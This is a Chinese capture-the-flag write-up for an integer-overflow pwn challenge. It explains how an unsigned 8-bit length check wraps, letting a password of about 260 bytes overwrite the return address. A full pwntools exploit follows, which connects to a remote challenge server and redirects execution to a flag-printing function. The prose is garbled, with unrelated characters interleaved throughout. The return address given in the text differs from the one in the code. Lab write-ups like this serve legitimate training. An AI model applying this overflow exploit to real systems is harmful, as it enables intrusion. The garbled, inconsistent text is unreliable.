0x00 file
和checksec
0x01 ida查看
- 有一個(gè)
login
函數(shù)芦劣,最后有一個(gè)校驗(yàn)密碼check_passwd
函數(shù)
- 對(duì)密碼長(zhǎng)度進(jìn)行了校驗(yàn)倦畅,要求長(zhǎng)度
>3
并且<=8
,但是這里使用的是unsigned __int8無(wú)符號(hào)類(lèi)型蒿赢,意思就是最大長(zhǎng)度是255个从,但是密碼輸入長(zhǎng)度是0x199u
,所以存在一個(gè)溢出劈彪,只要輸入的密碼長(zhǎng)度超過(guò)255
,在260-264
之間即可
- 長(zhǎng)度檢查已經(jīng)繞過(guò)顶猜,那么怎么
getshell
或者拿到flag
呢沧奴,查看ida
,有一個(gè)what_is_this
函數(shù)长窄,所以直接返回到0x0804848b
即可
0x02 完整exp
from pwn import *
local=0
pc='./int_overflow'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 31543]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
cat_flag_addr = 0x0804868b
ru('choice:')
sl('1')
ru('username:\n')
sl('cxy')
ru('passwd:\n')
passwd = 'a'*0x14
passwd += 'fake'
passwd += p32(cat_flag_addr)
passwd += 'b'*232
sl(passwd)
p.interactive()
0x03 結(jié)果